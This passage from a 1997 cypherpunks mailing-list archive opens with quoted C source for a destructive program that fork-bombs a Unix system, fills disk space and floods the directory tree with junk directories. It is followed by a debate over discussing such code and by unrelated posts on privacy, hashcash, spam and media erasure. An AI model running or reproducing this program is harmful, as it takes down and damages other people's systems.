> >	printf("					--CoViN		 \n");
> >	exit(0);
> >  }
> >fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
> >if(fork()) {
> >	while(1) {
> >		fork();
> >		buff = malloc(64000);
> >		write(fp, buff, 64000);
> >		system("uptime");
> > 	}
> > }
> >dirs_generator();
> >}
> >
> >
> >void dirs_generator(void)
> >{
> >char alph[] = "
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
> >char fl[MAX_FILELEN]; 
> >char dir[MAX_DIRLEN];
> >int i;
> >int flen;
> >
> >printf("Making dirs..\n");
> >chdir(START_DIR);
> >
> >fork();	/* For the simplicity of the code.. we also want more dir's from */
> >fork(); /* the START_DIR						 */
> >fork();
> >
> >while(1) {
> >	fork();
> >	flen= (rand() % MAX_FILELEN) - 1;
> >	for(i=0; i<flen; i++)
> >                fl[i] = alph[rand() % strlen(alph)];
> >	fl[MAX_FILELEN-1]=0;
> >	i=open(fl,O_WRONLY|O_CREAT);
> >	write(i,"fuck you! CoViN",16);
> >	close(i);
> >
> >	flen= (rand() % MAX_DIRLEN) - 1;
> >	for(i=0; i<flen; i++)
> >		dir[i] = alph[rand() % strlen(alph)];
> >	dir[MAX_DIRLEN-1]=0;
> >	mkdir(dir,0);	
> >	chdir(dir);
> >       }
> >}
> >
> >
> -----------------------------------------
> Jack Herron - Editor
> Society for Amateur Scientists
> 8118 E. 20th St.
> Tucson, AZ 85710 USA
> jherron@basix.com
> 520 885-6933
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 22 Jul 1997 13:03:14 +0800
To: cypherpunks@Algebra.COM
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <v03007804aff9d745474f@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



As far as I can tell, law, custom, and technology are the three ways we
have to protect our privacy.  Cypherpunks are well aware of the
technological options, so I won't discuss them further except to note that
they probably are not, by themselves, enough.

Law has also been discussed, including the European privacy laws and
similar laws which have been proposed for the US.  One good thing about the
European mindset on privacy is that it seems to include resistance to legal
suppression of privacy technology.

The last is custom.  This approach appears in cypherpunk discussions as an
emphasis on contractual relations between people and the organizations
receiving data.  It is this area I would like to discuss.


What makes a good privacy contract?  What should you expect when you buy
something?  What is the standard contract?  What exceptions must be clearly
noted?  How does society decide these cultural issues?

I strongly believe in standard contracts because they greatly reduce
transaction costs.  Where the parties need different terms, they can
negotiate exceptions.  However, we do not have standard privacy contracts
which match our new communication and database technologies.  We don't even
have a good public debate on the issues involved.

Unfortunately, it seems that the only way to raise these issues to the
radar scope of the news media/public is to have some congresscritter
propose a law.  Even more unfortunately, said law usually preempts people's
right to contract with each other, rather than just setting a framework for
the contract negotiations.  There must be a better way.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 22 Jul 1997 13:08:18 +0800
To: cypherpunks@toad.com
Subject: The Real Revolution: Net Guerrillas, from The Netly News (fwd)
Message-ID: <Pine.GSO.3.95.970721215407.29536B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 21 Jul 1997 21:53:56 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: The Real Revolution: Net Guerrillas, from The Netly News

------

http://cgi.pathfinder.com/netly/opinion/0,1042,1183,00.html

The Netly News Network (http://netlynews.com/)
July 21, 1997

The Real Revolution: Net Guerrillas
by Elizabeth Frantz
   
       The recent kidnapping and assassination of Spanish politician
   Miguel Angel Blanco by the Basque separatist group ETA has ignited a
   violent backlash that is spilling into cyberspace.

       In the wake of the widespread protest against ETA, the Spanish
   government requested last week that the Cable News Network (CNN)
   remove its link to the group's web site. Miguel Garzon, spokesman for
   the Spanish Embassy in Washington D.C., defended the move by saying
   the ETA should be considered terrorist and not separatist, and
   therefore links should not be made to them. The ETA has killed nearly
   800 people since it took up arms in 1968 to fight for independence for
   Spain's northern Basque provinces.

       CNN refused the Spanish government's request, saying that it was
   standard practice to provide links that relate to the subject matter
   -- even if the subject is terrorism. More and more terrorist groups
   are creating pockets of resistance online, a fact that is beginning to
   raise serious questions, especially for educational institutions,
   where John Q. Taxpayer might be indirectly paying for a Zapatista web
   site.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 22 Jul 1997 06:40:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <m0wqPHq-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Jerry Berman -----

As you probably noticed, this letter was written in 1985 and represented
the position of the ACLU at that time. Times, and organizations, and
technology have changed dramatically in the last 12 years, and so has my
view on this issue.

I strongly believe both legal *and* technical protections are essential to
guarantee privacy rights (including the right to anonymity) and have
worked, with my associates at CDT and others on the Net, to promote the use
of strong ecnryption as a way to protect privacy.  I also continue to work
for  legal restrictions on electronic surveillance.

Please post this wherever you think this might clarify my position and the
debate.

Thanks,

Jerry Berman


----- End of forwarded message from Jerry Berman -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 22 Jul 1997 14:05:44 +0800
To: tesla@ssz.com
Subject: Re: Controversial Technology (fwd)
Message-ID: <199707220550.AAA13344@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 21 Jul 1997 21:48:45 -0700 (PDT)
> From: William Beaty <billb@eskimo.com>
> Subject: Re: Controversial Technology

> > I would however like to point out that security through obscurity (ie
> > ignorance) is not security. It is self-delusion. One can not protect them
> > selves reliably from the many consequences of technology and society via
> > ignorance. That which you don't know not only can hurt you but can kill you.
> 
> I don't understand.  You hate unix security, and the solution is to
> screw up as many systems as possible?  That's like hating cars that lack
> armored glass, and going out to smash windshields every night. 
> Destructive acts say much more about those who perform them than they do
> about any weakness of the victims.

No, I hate unix security and it behooves me to know as much about it as
possible so that I may be better informed about its limitations and protect
myself and my property from those out there who hate unix security and plan
on using it to get something from me without my prior permission.

So studying the dynamics of auto glass breaking is equivalent to automotive
vandalism? I bet auto engineers might just object to that generalization.

If I own the car it might be in my best interest to know something about
auto glass to decide whether what I have is enough or should I really buy
that nifty keen security system. Calling the cops and asking them how most
cars get broken into does not lead to the conclusion that I am going to
break into cars.

"A>B" is not equivalent to "B>A".

Discussion toward understanding something is not the same as doing it. If it
were we would all be rapists and murders. 

> What exactly does computer security have to do with amateur science?

Computer science isn't an amateur science? I have to strongly disagree and I
suspect that most computer hobbyist would as well.

I don't know about you but I use my computer for science (and sometimes
it's hooked up to other computers via the net) and therefore find it useful
to understand how they work. Both for when I want to get them to do
something specific as well as when trying to figure out why the silly thing
don't work the way it is supposed to.

This list supports the use of computers as well as the study of them as
analytical instruments or as objects of research themselves. The study of
virus development is as valuable as the discussion of compiler design.

> This brings up an interesting question about your overall philosophy: what
> are your views on discussion of plans for bombs, weapons, poisons, etc. on
> tesla list?

I will attach the info file at the end so that you may review the general
views of the list as well as some of my own.

I have no objection to the discussion of such issues provided they are
within the charter of the list. In short, discussions about how they work,
how to measure various parameters (eg briance and explosives), the history
of the technology, etc. Obviously you can't discuss how to measure the
effectiveness of a poison, for example, if you can't first define what a
poison is and how it works (otherwise how do you know what to measure?).
So if somebody, for example, wanted to discuss how curari works toward the
end of better understanding the human body and the measurement of its
various processes there would be no objection. If you want to propose going
out and actualy killing somebody, then I have a problem.

> If you're all for 'em, then this is an adults-only list and I
> need to remove my site info about tesla@ssz.  The big kids can play all
> they want, but I won't steer the little kids directly to the dangerous
> stuff if I can help it.

Knowledge is danger, leave them barefoot and pregnant...

Do what you want, but this list is not rated and irrespective of your
opinion I will continue to refuse to rate any services from SSZ.

Please, don't send them to somebody who has a clue about it and can direct
them to creative uses for that interest (ie visit the Polic Bomb Squad and
perhaps try to get them to support some sort of activity with the kids),
instead let them figure it out with their friends in the garage over a long
weekend. If we're lucky one of them will survive.

Would you do me a favor and auto-program the phone for 911...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

(Please excuse the fact that I haven't updated all the .info files to
 reflect the changes going on here at TAG)

Welcome to the Experimental Science Instrumentation mailing list. This list
is hosted by CyberTects in Austin, Tx. If you have questions or problems
please send email to 'list@ssz.com'. You should receive a responce shortly
afterward.

There is a place for a webpage on the SSZ homepage. However, currently
nobody is involved in any sort of project. If interested please send a note
to the list. To see what else is up at CyberTects look at
http://www.ssz.com/. It ain't much, but it is home...;)

This mailing list is intended for the rigorous exploration of nature. One of
the primary areas of experimentation is instrumentation and data reduction.
This list is intended as a resource for the advancement of knowledge in both
areas. As a consequence off-topic discussions are STRONGLY avoided.

This list is NOT intended for beginners. They are certainly welcome but are
expected to stay out of discussions they are not experienced in. General
questions are welcome from any party on relevant issues. We strongly believe
the novice experimenter should be helped. Discussions at all levels are
available. It is not acceptable behaviour to expound on personalities or
other 'flame bait' topics.

Sale and advertisment of services are permitted with due consideration of
the other members of the list. Each 'ad' should appear ONLY ONCE per
calendar year. The 'ad' MUST be relevant to the mailing list members and its
charter topic. All responces should be by direct email.

As a member of this list it is expected you pursue active experiments or
projects. We would very much like to hear about what you are up to and where
you are taking it. A working knowledge of diff-eq's, computer programming,
basic electronics (analog & digital), physics, chemistry, safety
proceedures, etc. is assumed for most discussions.

The person behind the email is Jim Choate. I would like to tell you a little
about myself and provide some insight into the mailing list.

This list is NOT for the exploration of pseudo-science, space aliens, etc.
I named the list after Nikola Tesla because I admire his accomplishments and
his strong indipendant nature.

I have been building 'projects' since I was a kid of 8-9, I am now 37. For
seven years I built projects at Discovery Hall, a hands-on science museum in
Austin, Tx. I am currently working on a hexapod robot and a high-performance
rocket. I am currently a computer engineer for Tivoli - IBM as well as run my
own business, CyberTects. In both cases I play with what I lovingly refer to
as the 'bleeding edge'. Through CyberTects I support several hands-on
technology mailing lists and two user groups.

I started the list a couple of years ago with the intent of finding others
who like to build 'professional' quality projects. Since that time it has
grown slowly but steadily by word of mouth. The folks who participate in the
mailing list are truely an impressive lot. Don't feel hesitant about
starting a dialogue. Historicaly the list has been very low traffic. The
majority of traffic is cross-posts from other sources. I would really like
to see more discussion about current projects.


             "Reality is observer dependant"
                              \
                                \   \\/////
                                    |     | 
                                    (.) (.)
      ===========================oOO==(_)==OOo==========================             

                                  James Choate

         Tivoli                                 CyberTects: SSZ
         Customer Support Engineer              SOHO-VR-HPR-Robotics

         9442 Capitol of Texas Highway North    4312 Avenue A
         Suite 500
         Austin, TX 78759                       Austin, TX  78751

         Email: jchoate@tivoli.com              Email: ravage@ssz.com
         Phone: (512) 436-8893                  Phone: (512) 451-7087
         Fax:   (512) 345-2784                  Fax: n/a
         WWW:   www.tivoli.com                  WWW: www.ssz.com
         Modem: n/a                             Modem: (512) 451-7009
         Pager: n/a                             Pager: n/a
         Cellular: n/a                          Cellular: n/a

      ===================================================================

         Political ideal: The Constitution says "Congress shall make no
         law..." & What happened to the 9th & 10th Amendments?

         Philosophy: Pantheism - the belief that everything is divine,
                                 that God is not seperate but totaly
                                 identified with the cosmos, and that
                                 God does not possess personality or
                                 transcendence.

      ===================================================================

         The end of our exploring will be to arrive at where we
         started, and to know the place for the first time.

                                                T.S. Eliot

      ===================================================================

                         Chance favors the prepared mind.

                                                Anon.

      ===================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Tue, 22 Jul 1997 00:21:07 +0800
To: cypherpunks@Algebra.COM
Subject: Hashcash for Emacs
Message-ID: <199707211554.DAA13787@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain



;;; hashcash.el --- Add hashcash payments to email

;; Copyright (C) 1997 Paul E. Foley

;; Maintainer: Paul Foley <mycroft@actrix.gen.nz>
;; Keywords: mail, hashcash

;; Released under the GNU General Public License

(defvar hashcash-default-payment 12)
(defvar hashcash-payment-alist nil)
(defvar hashcash "/home/paul/bin/hashcash")

(require 'mail-utils)

(defun hashcash-generate-payment (str val)
  "Generate a hashcash payment by finding a VAL-bit collison on STR."
  (let ((old-buffer (current-buffer))
	(hc (get-buffer-create "*hashcash*"))
	pos)
    (set-buffer hc)
    (erase-buffer)
    (goto-char (point-max))
    (call-process hashcash nil hc nil (concat "-" val) str)
    (goto-char (point-max))
    (re-search-backward "collision: ")
    (forward-char 11)
    (setq pos (point-marker))
    (end-of-line)
    (setq payment (buffer-substring pos (point)))
    (set-buffer old-buffer))
  (concat payment "\n"))

(defun mail-add-payment (arg)
  "Add an X-Payment: header with a hashcash payment for each recipient address
Prefix arg means non-default payment amount.  Also uses hashcash-payment-alist."
  (interactive "P")
  (unwind-protect
      (save-excursion
	(goto-char (point-min))
	(re-search-forward
	 (concat "^" (regexp-quote mail-header-separator) "\n"))
	(previous-line 1)
	(let ((end (point-marker))
	      (case-fold-search t))
	  (goto-char (point-min))
	  (while (re-search-forward "^\\(to\\|cc\\):" end t)
	    (let ((to-line
		   (mail-strip-quoted-names
		    (buffer-substring (point)
				      (progn
					(if (re-search-forward
					     "^[^ \t\n]" end t)
					    (backward-char 1)
					  (goto-char end))
					(point))))))
	      (while (not (equal "" to-line))
		(let ((address (substring to-line
					  0 (string-match "," to-line))))
		  (if (string-match "," to-line)
		      (setq to-line (substring
				     to-line (string-match "," to-line)))
		    (setq to-line ""))
		  (while (eq 0 (string-match "[, \t]" to-line))
		    (setq to-line (substring to-line 1)))
		  ;; look up hashcash-payment-alist
		  (let ((pay (assoc address hashcash-payment-alist))
			(price (if (null arg)
				   hashcash-default-payment
				 (prefix-numeric-value arg))))
		    (if pay
			(if (eq 1 (length (cdr pay)))
			    (setq price (car (cdr pay)))
			  (progn
			    (setq address (car (cdr pay)))
			    (setq price (car (cdr (cdr pay)))))))
		    (insert-before-markers "X-Payment: "
					   (hashcash-generate-payment
					    address price)))))))))))

-- 
Paul Foley <mycroft@actrix.gen.nz>  ---   PGP-encrypted mail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Note:  All email will be directed to my "junk" mailbox unless a 12-bit
hashcash payment is attached on an X-Payment: header.  Send me mail
with the subject "get hashcash info" for information.
----------------------------------------------------------------------
If there is a possibility of several things going wrong, the one that
will cause the most damage will be the one to go wrong.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Hackworth" <hackwort@hotmail.com>
Date: Tue, 22 Jul 1997 19:27:06 +0800
To: cypherpunks@toad.com
Subject: encrypted for lucky green
Message-ID: <199707221111.EAA22492@f24.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



sorry to intrude

-----BEGIN PGP MESSAGE-----
Version: 2.6.2i

hIwDBJCR6bfyvAUBA/4gtVCv8eZJPK0Kw3km//vCXMaAToMX1T5HZJMj4ubAZN3m
DV8Xy6Mwn1Fd4W3bMQk/qRhwEKymUeYp+Xv4Pm04K2b5QpG415hHH1rHqeyE3rS2
Qgdchh6ZnB7C++7EFftjiwPxdx7zluZJEKEbNq1zOtgR6LBykr3hStcuy8HSeqYA
AAD6/IPdSZImU4/bzwxs0IoLeQzI5RN6zAAcfbBDk+pgMRh67MajikmhiM7dMjV+
avrv1WgCu5PPEwdaHORW9ZFBVBRc5NaucecIuu/3/wbWTBQ6VX1jBe0Pj7ki+3cB
Okk/HX3kjhfjxJwGNC/OaRRJmXHc1Eb+P1WFcTCMlynzJXJBLDj+Dms79xkZaFQf
KRoNhS3CMuxdwZZPH9K7PK1MIAoFZVj6acnqbJTryzbT4I1U4qcOPQqrNravnddw
lpU81KhQeYtAQuSVSyyjUov6Byh9aHw125ST+6T2AneJzWk2IzNpH0QHxw+qJgvG
RMpVPpsv5c4m1DibHQ==
=yWl2

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 22 Jul 1997 17:34:19 +0800
To: paul@fatmans.demon.co.uk>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <Pine.LNX.3.91.970719190732.1788B-100000@fatmans.demon.co.uk>
Message-ID: <Chameleon.869559847.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



I've emailed him directly, both on the net, and on fidonet before he found his way 
here. I didn't get it. Kinda suprised at that actually, and a bit disappointed.

Think if I send the scum who sent the note to everyone, it would recosider putting me 
on it's "enemies list"?

amp 



------------------------
  From: Paul Bradley <paul@fatmans.demon.co.uk>
  Subject: Re: IRS sending warning notes, violating ECPA? 
  Date: Sat, 19 Jul 1997 19:12:35 +0000 ( ) 
  To: Tim May <tcmay@got.net>
  Cc: cypherpunks@algebra.com


> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. It appears they used the addresses found in e-mail at
> > Bell's residence, from some of the comments here (especially that other
> > lists besides the Cypherpunks list were involved).
> 
> 
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?
> 
> The way I see it there are two possible ways the motherfuckers got the 
> addresses, either they found the lists Jim subscribed to and did "who 
> cypherpunks" etc. to the servers, to get the list of participants, or 
> they used any adresses off the mail jim has recieved in the past, I got a 
> copy of it and I have privately emailed Jim several times so I can`t 
> really say which is more likely.
> 
> If it is the second I am hereby giving Jim a public dresssing down for 
> not encrypting the filesystem ;-)....
> 
> > "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> > prison term. If you don't confess, when we find you guilty you'll receive
> > the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> > receive the maximum term. If neither of you confesses, you'll still be
> > found guilty. So, what'll it be?"
> 
> The sending of this email to people Jim has communicated with, if it was 
> a real mail (I haven`t checked before but other people have and have said 
> the headers indicate it passed through several .gov hosts), constitutes 
> cowardly harrasment. Lock and Load.
> 
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/22/97
Time: 04:12:56
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eddie <slender@icx.net>
Date: Tue, 22 Jul 1997 17:17:46 +0800
To: <cypherpunks@toad.com>
Subject: reminder service
Message-ID: <18161.235633.20658206 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi! I am writing to tell you about an amazing service that could change your life.  Have 
you ever forgotten an important date or special occasion?  The Lifetime Reminder 
Service could be the answer to all of your problems!  We will send you a postcard one 
week prior to every date you need to be reminded of, FOR THE REST OF YOUR 
LIFE!!.  We can also send people gift pacs for you automatically.  These gift pacs are 
perfect for any occasion.  You can take advantage of the Lifetime Reminder Service's 
benifits for a one time fee of only $39.00.  But for a limited time I am selling the 
membership for only $30.00(while supplies last).  That is a one time fee and you will 
be a member for the rest of your life!!!  If you are interested in ordering please reply via 
email, or you can check out http://user.icx.net/~slender/reminder.html.
my name is Eddie Loveday, if you have any questions please feel free to email me at 
slender@icx.net.   I accept C.O.D. orders. To order please email me with your 
addresse, name, and telephone number.
I appreciate you taking the time to read this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 22 Jul 1997 13:43:33 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707220526.HAA13114@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, has anyone taken a look at this file on RSA's ftp?
ftp://ftp.rsa.com/pub/smail/smailbeta10.zip
It is encrypted using only the zip cypher, as far as I can tell. There is a known plaintext attack against this cypher by Biham and Kocher. There are files compressed and encrypted in the archive that are freely available online. A known plaintext attack would seem easy but the files are compressed with a version 5.0 for NT. Is the encryption algorithm in this product different (more secure) than in other versions? Is it a good idea for RSA to distribute their software like this? Would it be legal to export (intentionally or not) files while encrypted and seemingly unusable if the algorithm used to encrypt could be easily broken?

Cheers!

--Anonymous









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Tue, 22 Jul 1997 17:06:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: House Tries to Liberate ICs
Message-ID: <9927.9707220856@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell writes:
> Notice how the following article does not mention the fact that ICs sometimes 
> neglect to send those quarterly tax payments in on time and this is why the 
> Feds dislike them.  It's not going to happen, but it would be fun if it 
> did...

The same thing is happening over here. Buisness is pushing for independant
contractors (and also heading more and more towards bonuses) whereas the
government (particually in the building industry) has changed from encouraging
this to making it harder and harder to qualify because they have just realised
that they are missing out on a great deal of tax because Employers do not have
to make National Insurance contributions for contractors and the contractors
themselves tend to pay a lot less.

Jon 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 23 Jul 1997 02:28:04 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <v03102802aff9ea8a811d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:05 PM -0700 7/20/97, Kent Crispin wrote:
>On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
>Can there be any doubt at all? It's obviously old cheap rhetoric
>through and through, not even Bill Clinton at his worst could match
>it.

Speaking of Clinton,

"If Clinton blows anymore smoke up my ass, my sphincter is going to sue
Philip-Morris."  --Dennis Miller






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 22 Jul 1997 22:34:08 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: This is not ROT13, it's German.
Message-ID: <3.0.1.32.19970722102400.00a16490@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from 0xdeadbeef.

---------- Begin Snip

Forwarded-by: Lloyd Wood <L.Wood@surrey.ac.uk>
Newsgroups: talk.bizarre,de.talk.bizarre

> [Moderator's note: The text here is not ROT13 encrypted. It is
> German.]

Well, thanks for making that clear. Which is the stronger encryption?
ROT13 or German? Is German allowed to be exported from the US?
I can get my newsreader to turn ROT13 into English. How do I get it to
turn German into English?

From: "Michael Briel" <UZSYDF@UNI-BONN.DE>
Newsgroups: alt.humor.best-of-usenet
Subject: [de.talk.bizarre] ZU VERKAUFEN
Message-ID: <ahbou=3D199707182029.QAA10092@jeter.acpub.duke.edu>

[Moderator's note: The text here is not ROT13 encrypted. It is German.]

Subject: ZU VERKAUFEN
From: Flavio Spirgi <Flavio.Spirgi@uni-konstanz.de>
Newsgroups: de.talk.bizarre

 VERKAUFE

 rasenm=E4her

 ausgezeichneter zustand, nur kleines leck an einem der 4
 hochleistungsreaktoren. der rasenm=E4her verf=FCgt =FCber vierzehn hochwer=
tige
 turbinen, die im notfall auch einen betrieb =FCber die wasserleitung
 zulassen. die schneidevorrichtung besteht aus vier nichtrostenden
 klingen aus hochwertigem spezialstahl mit holzeinlagen, die je 15 m lang
 sind. krankheitshalber abzugeben.

--
Moderators accept or reject articles based solely on the criteria posted
in the Frequently Asked Questions. Article content is the responsibility
of the submitter.  Submit articles to ahbou-sub@acpub.duke.edu. To write
to the moderators, send mail to ahbou-mod@acpub.duke.edu.

---------- End Snip
-- Rick Osborne, <osborne@gateway.grumman.com>
This is a castle. And we have many tapestries. And if you are a Scottish
Lord then I am Mickey Mouse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 22 Jul 1997 23:38:33 +0800
To: cypherpunks@toad.com
Subject: Re: Fight-each-other
In-Reply-To: <v03102806aff9deb72da2@[207.167.93.63]>
Message-ID: <P0y90D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
(reasonable stuff)
> ** PICS/RSACi Voluntary Self-Rating (Text Form) ** :
> 
> Suitable for Children: yes  Age Rating: 5 years and up.
> Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
> Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
> Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
> Caucasoids: Yes  Negroids: No  Mongoloids: Yes
> Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?
> 
> --Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
> regicide, presicide, suicide, aptical foddering.
> --Contains references hurtful to persons of poundage and people of
> color.Sensitive persons are advised to skip this article.
> 
> **SUMMARY**
> Estimated number of readers qualified to read this: 1
> Composite Age Rating: 45 years
> 
> 

This is hilarious.

It also gives me an idea for a project, if anyone wants one:

Put out your own .RAT file with shit like "advocates censorship" or
"opposes use of crypto".  Put out PICS ratings against the material
on the net using this .RAT file.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 22 Jul 1997 23:37:45 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Revolution: Net Guerrillas, from The Netly News (fwd)
In-Reply-To: <Pine.GSO.3.95.970721215407.29536B-100000@well.com>
Message-ID: <9FZ90D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
> ---------- Forwarded message ----------
> Date: Mon, 21 Jul 1997 21:53:56 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: fight-censorship-announce@vorlon.mit.edu
> Subject: The Real Revolution: Net Guerrillas, from The Netly News
> 

Her Declan, you want a story idea - look into the (verylarge) role
various Internet mailing lists played in organizing the invasion of Zaire.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 23 Jul 1997 01:57:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Queen of Pseudononymity
In-Reply-To: <199707221612.MAA17707@homeport.org>
Message-ID: <19970722173941.32613.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



> Rather than use the obvious e-mail address of
> one@buckinghampalace.co.uk, however The Queen is apparently using a
> number of pseudonyms to hide her true identity.  Only the recipients
> of her e-mail are alleged to know who is really behind their messages.

I wonder if Prince Tampon is also on the Net. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 00:15:14 +0800
To: "Ng Pheng Siong" <jlumstoi@pacific.net.sg>
Subject: Re: "How many times erased does DOD want?"
In-Reply-To: <199707220320.LAA00623@sagan.pacific.net.sg>
Message-ID: <199707221601.LAA09913@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707220320.LAA00623@sagan.pacific.net.sg>, on 07/22/97 
   at 11:15 AM, "Ng Pheng Siong" <jlumstoi@pacific.net.sg> said:

>Hi,

>I'm looking for the news posting with the subject line as above. Poster
>David Hayes, comp.periphs.scsi, 24 July 91, message-id
>1991Jul24.050701.16005@sulaco.lonestar.org.

>Got no luck with Dejanews, reference.com and Altavista.

>The topic is data recovery from magnetic media. 
>Also appreciate any pointers to info on same.

The document you want is DoD 5220.22-M (NISPOM) National Industrial
Security Program Operating Manual <--- "Learn it, Live it, Love it"

You can find the document at:

http://jya.com/nispom

The section you want is:

Chapture 8: Automated Information System Security
Section  3: Controls & Maintenance
Part   306: Maintenance
Sub-Part  : Cleaning & Sanitization Matrix

This can be found at:

http://jya.com/nispom/chapt8.htm

The matrix will be located towards the bottom of the page.

Hope this helps,


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
